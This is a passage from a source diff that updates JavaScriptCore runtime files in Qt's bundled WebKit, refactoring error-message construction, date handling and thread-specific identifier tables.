         return result;
     }
             
-    t.year = (year > 99 || year < 0) ? year - 1900 : year;
-    JSValue result = jsNumber(exec, gregorianDateTimeToMS(t, ms, outputIsUTC));
+    gregorianDateTime.year = (year > 99 || year < 0) ? year - 1900 : year;
+    JSValue result = jsNumber(exec, gregorianDateTimeToMS(exec, gregorianDateTime, ms, false));
     thisDateObj->setInternalValue(result);
     return result;
 }
@@ -1012,16 +991,14 @@ JSValue JSC_HOST_CALL dateProtoFuncGetYear(ExecState* exec, JSObject*, JSValue t
     if (!thisValue.inherits(&DateInstance::info))
         return throwError(exec, TypeError);
 
-    const bool outputIsUTC = false;
-
     DateInstance* thisDateObj = asDateInstance(thisValue); 
 
-    GregorianDateTime t;
-    if (!thisDateObj->getGregorianDateTime(exec, outputIsUTC, t))
+    const GregorianDateTime* gregorianDateTime = thisDateObj->gregorianDateTime(exec);
+    if (!gregorianDateTime)
         return jsNaN(exec);
 
     // NOTE: IE returns the full year even in getYear.
-    return jsNumber(exec, t.year);
+    return jsNumber(exec, gregorianDateTime->year);
 }
 
 JSValue JSC_HOST_CALL dateProtoFuncToJSON(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/DatePrototype.h b/src/3rdparty/webkit/JavaScriptCore/runtime/DatePrototype.h
index f565775..612ca06 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/DatePrototype.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/DatePrototype.h
@@ -39,7 +39,7 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue prototype)
         {
-            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
+            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
         }
 
     protected:
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/Error.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/Error.cpp
index ddd4bc4..69464b7 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/Error.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/Error.cpp
@@ -94,7 +94,7 @@ JSObject* Error::create(ExecState* exec, ErrorType type, const UString& message,
 
 JSObject* Error::create(ExecState* exec, ErrorType type, const char* message)
 {
-    return create(exec, type, message, -1, -1, NULL);
+    return create(exec, type, message, -1, -1, UString());
 }
 
 JSObject* throwError(ExecState* exec, JSObject* error)
@@ -105,21 +105,21 @@ JSObject* throwError(ExecState* exec, JSObject* error)
 
 JSObject* throwError(ExecState* exec, ErrorType type)
 {
-    JSObject* error = Error::create(exec, type, UString(), -1, -1, NULL);
+    JSObject* error = Error::create(exec, type, UString(), -1, -1, UString());
     exec->setException(error);
     return error;
 }
 
 JSObject* throwError(ExecState* exec, ErrorType type, const UString& message)
 {
-    JSObject* error = Error::create(exec, type, message, -1, -1, NULL);
+    JSObject* error = Error::create(exec, type, message, -1, -1, UString());
     exec->setException(error);
     return error;
 }
 
 JSObject* throwError(ExecState* exec, ErrorType type, const char* message)
 {
-    JSObject* error = Error::create(exec, type, message, -1, -1, NULL);
+    JSObject* error = Error::create(exec, type, message, -1, -1, UString());
     exec->setException(error);
     return error;
 }
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/ErrorPrototype.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/ErrorPrototype.cpp
index a9a7a43..eb35733 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/ErrorPrototype.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/ErrorPrototype.cpp
@@ -23,6 +23,7 @@
 
 #include "JSFunction.h"
 #include "JSString.h"
+#include "JSStringBuilder.h"
 #include "ObjectPrototype.h"
 #include "PrototypeFunction.h"
 #include "UString.h"
@@ -48,21 +49,19 @@ ErrorPrototype::ErrorPrototype(ExecState* exec, NonNullPassRefPtr<Structure> str
 JSValue JSC_HOST_CALL errorProtoFuncToString(ExecState* exec, JSObject*, JSValue thisValue, const ArgList&)
 {
     JSObject* thisObj = thisValue.toThisObject(exec);
+    JSValue name = thisObj->get(exec, exec->propertyNames().name);
+    JSValue message = thisObj->get(exec, exec->propertyNames().message);
 
-    UString s = "Error";
+    // Mozilla-compatible format.
 
-    JSValue v = thisObj->get(exec, exec->propertyNames().name);
-    if (!v.isUndefined())
-        s = v.toString(exec);
-
-    v = thisObj->get(exec, exec->propertyNames().message);
-    if (!v.isUndefined()) {
-        // Mozilla-compatible format.
-        s += ": ";
-        s += v.toString(exec);
+    if (!name.isUndefined()) {
+        if (!message.isUndefined())
+            return jsMakeNontrivialString(exec, name.toString(exec), ": ", message.toString(exec));
+        return jsNontrivialString(exec, name.toString(exec));
     }
-
-    return jsNontrivialString(exec, s);
+    if (!message.isUndefined())
+        return jsMakeNontrivialString(exec, "Error: ", message.toString(exec));
+    return jsNontrivialString(exec, "Error");
 }
 
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/ExceptionHelpers.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/ExceptionHelpers.cpp
index 5bead90..b9c6319 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/ExceptionHelpers.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/ExceptionHelpers.cpp
@@ -58,7 +58,7 @@ JSValue createInterruptedExecutionException(JSGlobalData* globalData)
 
 static JSValue createError(ExecState* exec, ErrorType e, const char* msg)
 {
-    return Error::create(exec, e, msg, -1, -1, 0);
+    return Error::create(exec, e, msg, -1, -1, UString());
 }
 
 JSValue createStackOverflowError(ExecState* exec)
@@ -77,9 +77,7 @@ JSValue createUndefinedVariableError(ExecState* exec, const Identifier& ident, u
     int endOffset = 0;
     int divotPoint = 0;
     int line = codeBlock->expressionRangeForBytecodeOffset(exec, bytecodeOffset, divotPoint, startOffset, endOffset);
-    UString message = "Can't find variable: ";
-    message.append(ident.ustring());
-    JSObject* exception = Error::create(exec, ReferenceError, message, line, codeBlock->ownerExecutable()->sourceID(), codeBlock->ownerExecutable()->sourceURL());
+    JSObject* exception = Error::create(exec, ReferenceError, makeString("Can't find variable: ", ident.ustring()), line, codeBlock->ownerExecutable()->sourceID(), codeBlock->ownerExecutable()->sourceURL());
     exception->putWithAttributes(exec, Identifier(exec, expressionBeginOffsetPropertyName), jsNumber(exec, divotPoint - startOffset), ReadOnly | DontDelete);
     exception->putWithAttributes(exec, Identifier(exec, expressionCaretOffsetPropertyName), jsNumber(exec, divotPoint), ReadOnly | DontDelete);
     exception->putWithAttributes(exec, Identifier(exec, expressionEndOffsetPropertyName), jsNumber(exec, divotPoint + endOffset), ReadOnly | DontDelete);
@@ -88,59 +86,36 @@ JSValue createUndefinedVariableError(ExecState* exec, const Identifier& ident, u
     
 static UString createErrorMessage(ExecState* exec, CodeBlock* codeBlock, int, int expressionStart, int expressionStop, JSValue value, UString error)
 {
-    if (!expressionStop || expressionStart > codeBlock->source()->length()) {
-        UString errorText = value.toString(exec);
-        errorText.append(" is ");
-        errorText.append(error);
-        return errorText;
-    }
+    if (!expressionStop || expressionStart > codeBlock->source()->length())
+        return makeString(value.toString(exec), " is ", error);
+    if (expressionStart < expressionStop)
+        return makeString("Result of expression '", codeBlock->source()->getRange(expressionStart, expressionStop), "' [", value.toString(exec), "] is ", error, ".");
 
-    UString errorText = "Result of expression ";
-    
-    if (expressionStart < expressionStop) {
-        errorText.append('\'');
-        errorText.append(codeBlock->source()->getRange(expressionStart, expressionStop));
-        errorText.append("' [");
-        errorText.append(value.toString(exec));
-        errorText.append("] is ");
-    } else {
-        // No range information, so give a few characters of context
-        const UChar* data = codeBlock->source()->data();
-        int dataLength = codeBlock->source()->length();
-        int start = expressionStart;
-        int stop = expressionStart;
-        // Get up to 20 characters of context to the left and right of the divot, clamping to the line.
-        // then strip whitespace.
-        while (start > 0 && (expressionStart - start < 20) && data[start - 1] != '\n')
-            start--;
-        while (start < (expressionStart - 1) && isStrWhiteSpace(data[start]))
-            start++;
-        while (stop < dataLength && (stop - expressionStart < 20) && data[stop] != '\n')
-            stop++;
-        while (stop > expressionStart && isStrWhiteSpace(data[stop]))
-            stop--;
-        errorText.append("near '...");
-        errorText.append(codeBlock->source()->getRange(start, stop));
-        errorText.append("...' [");
-        errorText.append(value.toString(exec));
-        errorText.append("] is ");
-    }
-    errorText.append(error);
-    errorText.append(".");
-    return errorText;
+    // No range information, so give a few characters of context
+    const UChar* data = codeBlock->source()->data();
+    int dataLength = codeBlock->source()->length();
+    int start = expressionStart;
+    int stop = expressionStart;
+    // Get up to 20 characters of context to the left and right of the divot, clamping to the line.
+    // then strip whitespace.
+    while (start > 0 && (expressionStart - start < 20) && data[start - 1] != '\n')
+        start--;
+    while (start < (expressionStart - 1) && isStrWhiteSpace(data[start]))
+        start++;
+    while (stop < dataLength && (stop - expressionStart < 20) && data[stop] != '\n')
+        stop++;
+    while (stop > expressionStart && isStrWhiteSpace(data[stop]))
+        stop--;
+    return makeString("Result of expression near '...", codeBlock->source()->getRange(start, stop), "...' [", value.toString(exec), "] is ", error, ".");
 }
 
 JSObject* createInvalidParamError(ExecState* exec, const char* op, JSValue value, unsigned bytecodeOffset, CodeBlock* codeBlock)
 {
-    UString message = "not a valid argument for '";
-    message.append(op);
-    message.append("'");
-    
     int startOffset = 0;
     int endOffset = 0;
     int divotPoint = 0;
     int line = codeBlock->expressionRangeForBytecodeOffset(exec, bytecodeOffset, divotPoint, startOffset, endOffset);
-    UString errorMessage = createErrorMessage(exec, codeBlock, line, divotPoint, divotPoint + endOffset, value, message);
+    UString errorMessage = createErrorMessage(exec, codeBlock, line, divotPoint, divotPoint + endOffset, value, makeString("not a valid argument for '", op, "'"));
     JSObject* exception = Error::create(exec, TypeError, errorMessage, line, codeBlock->ownerExecutable()->sourceID(), codeBlock->ownerExecutable()->sourceURL());
     exception->putWithAttributes(exec, Identifier(exec, expressionBeginOffsetPropertyName), jsNumber(exec, divotPoint - startOffset), ReadOnly | DontDelete);
     exception->putWithAttributes(exec, Identifier(exec, expressionCaretOffsetPropertyName), jsNumber(exec, divotPoint), ReadOnly | DontDelete);
@@ -213,4 +188,9 @@ JSObject* createNotAnObjectError(ExecState* exec, JSNotAnObjectErrorStub* error,
     return exception;
 }
 
+JSValue throwOutOfMemoryError(ExecState* exec)
+{
+    return throwError(exec, GeneralError, "Out of memory");
+}
+
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/ExceptionHelpers.h b/src/3rdparty/webkit/JavaScriptCore/runtime/ExceptionHelpers.h
index e739d09..b6e7373 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/ExceptionHelpers.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/ExceptionHelpers.h
@@ -51,6 +51,7 @@ namespace JSC {
     JSObject* createNotAConstructorError(ExecState*, JSValue, unsigned bytecodeOffset, CodeBlock*);
     JSValue createNotAFunctionError(ExecState*, JSValue, unsigned bytecodeOffset, CodeBlock*);
     JSObject* createNotAnObjectError(ExecState*, JSNotAnObjectErrorStub*, unsigned bytecodeOffset, CodeBlock*);
+    JSValue throwOutOfMemoryError(ExecState*);
 
 } // namespace JSC
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/Executable.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/Executable.cpp
index 7586746..79900dc 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/Executable.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/Executable.cpp
@@ -30,6 +30,7 @@
 #include "CodeBlock.h"
 #include "JIT.h"
 #include "Parser.h"
+#include "StringBuilder.h"
 #include "Vector.h"
 
 namespace JSC {
@@ -265,14 +266,13 @@ PassRefPtr<FunctionExecutable> FunctionExecutable::fromGlobalCode(const Identifi
 UString FunctionExecutable::paramString() const
 {
     FunctionParameters& parameters = *m_parameters;
-    UString s("");
+    StringBuilder builder;
     for (size_t pos = 0; pos < parameters.size(); ++pos) {
-        if (!s.isEmpty())
-            s += ", ";
-        s += parameters[pos].ustring();
+        if (!builder.isEmpty())
+            builder.append(", ");
+        builder.append(parameters[pos].ustring());
     }
-
-    return s;
+    return builder.build();
 }
 
 };
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/FunctionConstructor.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/FunctionConstructor.cpp
index 9d88400..9b0b1bb 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/FunctionConstructor.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/FunctionConstructor.cpp
@@ -21,14 +21,15 @@
 #include "config.h"
 #include "FunctionConstructor.h"
 
+#include "Debugger.h"
 #include "FunctionPrototype.h"
 #include "JSFunction.h"
 #include "JSGlobalObject.h"
 #include "JSString.h"
-#include "Parser.h"
-#include "Debugger.h"
 #include "Lexer.h"
 #include "Nodes.h"
+#include "Parser.h"
+#include "StringBuilder.h"
 
 namespace JSC {
 
@@ -76,12 +77,19 @@ JSObject* constructFunction(ExecState* exec, const ArgList& args, const Identifi
     if (args.isEmpty())
         program = "(function() { \n})";
     else if (args.size() == 1)
-        program = "(function() { " + args.at(0).toString(exec) + "\n})";
+        program = makeString("(function() { ", args.at(0).toString(exec), "\n})");
     else {
-        program = "(function(" + args.at(0).toString(exec);
-        for (size_t i = 1; i < args.size() - 1; i++)
-            program += "," + args.at(i).toString(exec);
-        program += ") { " + args.at(args.size() - 1).toString(exec) + "\n})";
+        StringBuilder builder;
+        builder.append("(function(");
+        builder.append(args.at(0).toString(exec));
+        for (size_t i = 1; i < args.size() - 1; i++) {
+            builder.append(",");
+            builder.append(args.at(i).toString(exec));
+        }
+        builder.append(") { ");
+        builder.append(args.at(args.size() - 1).toString(exec));
+        builder.append("\n})");
+        program = builder.build();
     }
 
     int errLine;
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/FunctionPrototype.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/FunctionPrototype.cpp
index 45f17b1..a77b5b2 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/FunctionPrototype.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/FunctionPrototype.cpp
@@ -25,6 +25,7 @@
 #include "JSArray.h"
 #include "JSFunction.h"
 #include "JSString.h"
+#include "JSStringBuilder.h"
 #include "Interpreter.h"
 #include "Lexer.h"
 #include "PrototypeFunction.h"
@@ -76,7 +77,7 @@ static inline void insertSemicolonIfNeeded(UString& functionBody)
         UChar ch = functionBody[i];
         if (!Lexer::isWhiteSpace(ch) && !Lexer::isLineTerminator(ch)) {
             if (ch != ';' && ch != '}')
-                functionBody = functionBody.substr(0, i + 1) + ";" + functionBody.substr(i + 1, functionBody.size() - (i + 1));
+                functionBody = makeString(functionBody.substr(0, i + 1), ";", functionBody.substr(i + 1, functionBody.size() - (i + 1)));
             return;
         }
     }
@@ -90,13 +91,13 @@ JSValue JSC_HOST_CALL functionProtoFuncToString(ExecState* exec, JSObject*, JSVa
             FunctionExecutable* executable = function->jsExecutable();
             UString sourceString = executable->source().toString();
             insertSemicolonIfNeeded(sourceString);
-            return jsString(exec, "function " + function->name(&exec->globalData()) + "(" + executable->paramString() + ") " + sourceString);
+            return jsMakeNontrivialString(exec, "function ", function->name(exec), "(", executable->paramString(), ") ", sourceString);
         }
     }
 
     if (thisValue.inherits(&InternalFunction::info)) {
         InternalFunction* function = asInternalFunction(thisValue);
-        return jsString(exec, "function " + function->name(&exec->globalData()) + "() {\n    [native code]\n}");
+        return jsMakeNontrivialString(exec, "function ", function->name(exec), "() {\n    [native code]\n}");
     }
 
     return throwError(exec, TypeError);
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/FunctionPrototype.h b/src/3rdparty/webkit/JavaScriptCore/runtime/FunctionPrototype.h
index d1d6a1d..af783f7 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/FunctionPrototype.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/FunctionPrototype.h
@@ -34,7 +34,7 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue proto)
         {
-            return Structure::create(proto, TypeInfo(ObjectType, StructureFlags));
+            return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
         }
 
     private:
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/GetterSetter.h b/src/3rdparty/webkit/JavaScriptCore/runtime/GetterSetter.h
index 68e9ea3..27ffbe7 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/GetterSetter.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/GetterSetter.h
@@ -34,6 +34,7 @@ namespace JSC {
     // This is an internal value object which stores getter and setter functions
     // for a property.
     class GetterSetter : public JSCell {
+        friend class JIT;
     public:
         GetterSetter(ExecState* exec)
             : JSCell(exec->globalData().getterSetterStructure.get())
@@ -50,7 +51,7 @@ namespace JSC {
         void setSetter(JSObject* setter) { m_setter = setter; }
         static PassRefPtr<Structure> createStructure(JSValue prototype)
         {
-            return Structure::create(prototype, TypeInfo(GetterSetterType, OverridesMarkChildren));
+            return Structure::create(prototype, TypeInfo(GetterSetterType, OverridesMarkChildren), AnonymousSlotCount);
         }
     private:
         virtual bool isGetterSetter() const;
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/GlobalEvalFunction.h b/src/3rdparty/webkit/JavaScriptCore/runtime/GlobalEvalFunction.h
index 389b1c3..a14ce4d 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/GlobalEvalFunction.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/GlobalEvalFunction.h
@@ -37,7 +37,7 @@ namespace JSC {
 
         static PassRefPtr<Structure> createStructure(JSValue prototype) 
         { 
-            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags));
+            return Structure::create(prototype, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount);
         }
 
     protected:
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/Identifier.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/Identifier.cpp
index 7db723b..9acccf0 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/Identifier.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/Identifier.cpp
@@ -22,12 +22,15 @@
 #include "Identifier.h"
 
 #include "CallFrame.h"
+#include "NumericStrings.h"
 #include <new> // for placement new
 #include <string.h> // for strlen
 #include <wtf/Assertions.h>
 #include <wtf/FastMalloc.h>
 #include <wtf/HashSet.h>
 
+using WTF::ThreadSpecific;
+
 namespace JSC {
 
 typedef HashMap<const char*, RefPtr<UString::Rep>, PtrHash<const char*> > LiteralIdentifierTable;
@@ -38,13 +41,13 @@ public:
     {
         HashSet<UString::Rep*>::iterator end = m_table.end();
         for (HashSet<UString::Rep*>::iterator iter = m_table.begin(); iter != end; ++iter)
-            (*iter)->setIdentifierTable(0);
+            (*iter)->setIsIdentifier(false);
     }
-    
+
     std::pair<HashSet<UString::Rep*>::iterator, bool> add(UString::Rep* value)
     {
         std::pair<HashSet<UString::Rep*>::iterator, bool> result = m_table.add(value);
-        (*result.first)->setIdentifierTable(this);
+        (*result.first)->setIsIdentifier(true);
         return result;
     }
 
@@ -52,7 +55,7 @@ public:
     std::pair<HashSet<UString::Rep*>::iterator, bool> add(U value)
     {
         std::pair<HashSet<UString::Rep*>::iterator, bool> result = m_table.add<U, V>(value);
-        (*result.first)->setIdentifierTable(this);
+        (*result.first)->setIsIdentifier(true);
         return result;
     }
 
@@ -77,20 +80,20 @@ void deleteIdentifierTable(IdentifierTable* table)
 
 bool Identifier::equal(const UString::Rep* r, const char* s)
 {
-    int length = r->len;
-    const UChar* d = r->data();
+    int length = r->length();
+    const UChar* d = r->characters();
     for (int i = 0; i != length; ++i)
         if (d[i] != (unsigned char)s[i])
             return false;
     return s[length] == 0;
 }
 
-bool Identifier::equal(const UString::Rep* r, const UChar* s, int length)
+bool Identifier::equal(const UString::Rep* r, const UChar* s, unsigned length)
 {
-    if (r->len != length)
+    if (r->length() != length)
         return false;
-    const UChar* d = r->data();
-    for (int i = 0; i != length; ++i)
+    const UChar* d = r->characters();
+    for (unsigned i = 0; i != length; ++i)
         if (d[i] != s[i])
             return false;
     return true;
@@ -110,27 +113,21 @@ struct CStringTranslator {
     static void translate(UString::Rep*& location, const char* c, unsigned hash)
     {
         size_t length = strlen(c);
-        UChar* d = static_cast<UChar*>(fastMalloc(sizeof(UChar) * length));
+        UChar* d;
+        UString::Rep* r = UString::Rep::createUninitialized(length, d).releaseRef();
         for (size_t i = 0; i != length; i++)
             d[i] = static_cast<unsigned char>(c[i]); // use unsigned char to zero-extend instead of sign-extend
-        
-        UString::Rep* r = UString::Rep::create(d, static_cast<int>(length)).releaseRef();
-        r->_hash = hash;
-
+        r->setHash(hash);
         location = r;
     }
 };
 
 PassRefPtr<UString::Rep> Identifier::add(JSGlobalData* globalData, const char* c)
 {
-    if (!c) {
-        UString::Rep::null().hash();
-        return &UString::Rep::null();
-    }
-    if (!c[0]) {
-        UString::Rep::empty().hash();
-        return &UString::Rep::empty();
-    }
+    if (!c)
+        return UString::null().rep();
+    if (!c[0])
+        return UString::Rep::empty();
     if (!c[1])
         return add(globalData, globalData->smallStrings.singleCharacterStringRep(static_cast<unsigned char>(c[0])));
 
@@ -175,13 +172,11 @@ struct UCharBufferTranslator {
 
     static void translate(UString::Rep*& location, const UCharBuffer& buf, unsigned hash)
     {
-        UChar* d = static_cast<UChar*>(fastMalloc(sizeof(UChar) * buf.length));
+        UChar* d;
+        UString::Rep* r = UString::Rep::createUninitialized(buf.length, d).releaseRef();
         for (unsigned i = 0; i != buf.length; i++)
             d[i] = buf.s[i];
-        
-        UString::Rep* r = UString::Rep::create(d, buf.length).releaseRef();
-        r->_hash = hash;
-        
+        r->setHash(hash);
         location = r; 
     }
 };
@@ -193,10 +188,8 @@ PassRefPtr<UString::Rep> Identifier::add(JSGlobalData* globalData, const UChar*
         if (c <= 0xFF)
             return add(globalData, globalData->smallStrings.singleCharacterStringRep(c));
     }
-    if (!length) {
-        UString::Rep::empty().hash();
-        return &UString::Rep::empty();
-    }
+    if (!length)
+        return UString::Rep::empty();
     UCharBuffer buf = {s, length}; 
     pair<HashSet<UString::Rep*>::iterator, bool> addResult = globalData->identifierTable->add<UCharBuffer, UCharBufferTranslator>(buf);
 
@@ -212,22 +205,19 @@ PassRefPtr<UString::Rep> Identifier::add(ExecState* exec, const UChar* s, int le
 
 PassRefPtr<UString::Rep> Identifier::addSlowCase(JSGlobalData* globalData, UString::Rep* r)
 {
-    ASSERT(!r->identifierTable());
-    if (r->len == 1) {
-        UChar c = r->data()[0];
+    ASSERT(!r->isIdentifier());
+    // The empty & null strings are static singletons, and static strings are handled
+    // in ::add() in the header, so we should never get here with a zero length string.
+    ASSERT(r->length());
+
+    if (r->length() == 1) {
+        UChar c = r->characters()[0];
         if (c <= 0xFF)
             r = globalData->smallStrings.singleCharacterStringRep(c);
-            if (r->identifierTable()) {
-#ifndef NDEBUG
-                checkSameIdentifierTable(globalData, r);
-#endif
+            if (r->isIdentifier())
                 return r;
-            }
-    }
-    if (!r->len) {
-        UString::Rep::empty().hash();
-        return &UString::Rep::empty();
     }
+
     return *globalData->identifierTable->add(r).first;
 }
 
@@ -238,29 +228,69 @@ PassRefPtr<UString::Rep> Identifier::addSlowCase(ExecState* exec, UString::Rep*
 
 void Identifier::remove(UString::Rep* r)
 {
-    r->identifierTable()->remove(r);
+    currentIdentifierTable()->remove(r);
+}
+    
+Identifier Identifier::from(ExecState* exec, unsigned value)
+{
+    return Identifier(exec, exec->globalData().numericStrings.add(value));
+}
+
+Identifier Identifier::from(ExecState* exec, int value)
+{
+    return Identifier(exec, exec->globalData().numericStrings.add(value));
+}
+
+Identifier Identifier::from(ExecState* exec, double value)
+{
+    return Identifier(exec, exec->globalData().numericStrings.add(value));
 }
 
 #ifndef NDEBUG
 
-void Identifier::checkSameIdentifierTable(ExecState* exec, UString::Rep* rep)
+void Identifier::checkCurrentIdentifierTable(JSGlobalData* globalData)
 {
-    ASSERT(rep->identifierTable() == exec->globalData().identifierTable);
+    // Check the identifier table accessible through the threadspecific matches the
+    // globalData's identifier table.
+    ASSERT_UNUSED(globalData, globalData->identifierTable == currentIdentifierTable());
 }
 
-void Identifier::checkSameIdentifierTable(JSGlobalData* globalData, UString::Rep* rep)
+void Identifier::checkCurrentIdentifierTable(ExecState* exec)
 {
-    ASSERT(rep->identifierTable() == globalData->identifierTable);
+    checkCurrentIdentifierTable(&exec->globalData());
 }
 
 #else
 
-void Identifier::checkSameIdentifierTable(ExecState*, UString::Rep*)
+// These only exists so that our exports are the same for debug and release builds.
+// This would be an ASSERT_NOT_REACHED(), but we're in NDEBUG only code here!
+void Identifier::checkCurrentIdentifierTable(JSGlobalData*) { CRASH(); }
+void Identifier::checkCurrentIdentifierTable(ExecState*) { CRASH(); }
+
+#endif
+
+ThreadSpecific<ThreadIdentifierTableData>* g_identifierTableSpecific = 0;
+
+#if ENABLE(JSC_MULTIPLE_THREADS)
+
+pthread_once_t createIdentifierTableSpecificOnce = PTHREAD_ONCE_INIT;
+static void createIdentifierTableSpecificCallback()
 {
+    ASSERT(!g_identifierTableSpecific);
+    g_identifierTableSpecific = new ThreadSpecific<ThreadIdentifierTableData>();
 }
+void createIdentifierTableSpecific()
+{
+    pthread_once(&createIdentifierTableSpecificOnce, createIdentifierTableSpecificCallback);
+    ASSERT(g_identifierTableSpecific);
+}
+
+#else 
 
-void Identifier::checkSameIdentifierTable(JSGlobalData*, UString::Rep*)
+void createIdentifierTableSpecific()
 {
+    ASSERT(!g_identifierTableSpecific);
+    g_identifierTableSpecific = new ThreadSpecific<ThreadIdentifierTableData>();
 }
 
 #endif
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/Identifier.h b/src/3rdparty/webkit/JavaScriptCore/runtime/Identifier.h
index 2249179..48b1da1 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/Identifier.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/Identifier.h
@@ -22,6 +22,7 @@
 #define Identifier_h
 
 #include "JSGlobalData.h"
+#include "ThreadSpecific.h"
 #include "UString.h"
 
 namespace JSC {
@@ -53,9 +54,9 @@ namespace JSC {
         
         const char* ascii() const { return _ustring.ascii(); }
         
-        static Identifier from(ExecState* exec, unsigned y) { return Identifier(exec, UString::from(y)); }
-        static Identifier from(ExecState* exec, int y) { return Identifier(exec, UString::from(y)); }
-        static Identifier from(ExecState* exec, double y) { return Identifier(exec, UString::from(y)); }
+        static Identifier from(ExecState* exec, unsigned y);
+        static Identifier from(ExecState* exec, int y);
+        static Identifier from(ExecState* exec, double y);
         
         bool isNull() const { return _ustring.isNull(); }
         bool isEmpty() const { return _ustring.isEmpty(); }
@@ -75,7 +76,7 @@ namespace JSC {
         static void remove(UString::Rep*);
 
         static bool equal(const UString::Rep*, const char*);
-        static bool equal(const UString::Rep*, const UChar*, int length);
+        static bool equal(const UString::Rep*, const UChar*, unsigned length);
         static bool equal(const UString::Rep* a, const UString::Rep* b) { return JSC::equal(a, b); }
 
         static PassRefPtr<UString::Rep> add(ExecState*, const char*); // Only to be used with string literals.
@@ -92,30 +93,28 @@ namespace JSC {
 
         static PassRefPtr<UString::Rep> add(ExecState* exec, UString::Rep* r)
         {
-            if (r->identifierTable()) {
 #ifndef NDEBUG
-                checkSameIdentifierTable(exec, r);
+            checkCurrentIdentifierTable(exec);
 #endif
+            if (r->isIdentifier())
                 return r;
-            }
             return addSlowCase(exec, r);
         }
         static PassRefPtr<UString::Rep> add(JSGlobalData* globalData, UString::Rep* r)
         {
-            if (r->identifierTable()) {
 #ifndef NDEBUG
-                checkSameIdentifierTable(globalData, r);
+            checkCurrentIdentifierTable(globalData);
 #endif
+            if (r->isIdentifier())
                 return r;
-            }
             return addSlowCase(globalData, r);
         }
 
         static PassRefPtr<UString::Rep> addSlowCase(ExecState*, UString::Rep* r);
         static PassRefPtr<UString::Rep> addSlowCase(JSGlobalData*, UString::Rep* r);
 
-        static void checkSameIdentifierTable(ExecState*, UString::Rep*);
-        static void checkSameIdentifierTable(JSGlobalData*, UString::Rep*);
+        static void checkCurrentIdentifierTable(ExecState*);
+        static void checkCurrentIdentifierTable(JSGlobalData*);
     };
     
     inline bool operator==(const Identifier& a, const Identifier& b)
@@ -141,6 +140,67 @@ namespace JSC {
     IdentifierTable* createIdentifierTable();
     void deleteIdentifierTable(IdentifierTable*);
 
+    struct ThreadIdentifierTableData {
+        ThreadIdentifierTableData()
+            : defaultIdentifierTable(0)
+            , currentIdentifierTable(0)
+        {
+        }
+
+        IdentifierTable* defaultIdentifierTable;
+        IdentifierTable* currentIdentifierTable;
+    };
+
+    extern WTF::ThreadSpecific<ThreadIdentifierTableData>* g_identifierTableSpecific;
+    void createIdentifierTableSpecific();
+
+    inline IdentifierTable* defaultIdentifierTable()
+    {
+        if (!g_identifierTableSpecific)
+            createIdentifierTableSpecific();
+        ThreadIdentifierTableData& data = **g_identifierTableSpecific;
+
+        return data.defaultIdentifierTable;
+    }
+
+    inline void setDefaultIdentifierTable(IdentifierTable* identifierTable)
+    {
+        if (!g_identifierTableSpecific)
+            createIdentifierTableSpecific();
+        ThreadIdentifierTableData& data = **g_identifierTableSpecific;
+
+        data.defaultIdentifierTable = identifierTable;
+    }
+
+    inline IdentifierTable* currentIdentifierTable()
+    {
+        if (!g_identifierTableSpecific)
+            createIdentifierTableSpecific();
+        ThreadIdentifierTableData& data = **g_identifierTableSpecific;
+
+        return data.currentIdentifierTable;
+    }
+
+    inline IdentifierTable* setCurrentIdentifierTable(IdentifierTable* identifierTable)
+    {
+        if (!g_identifierTableSpecific)
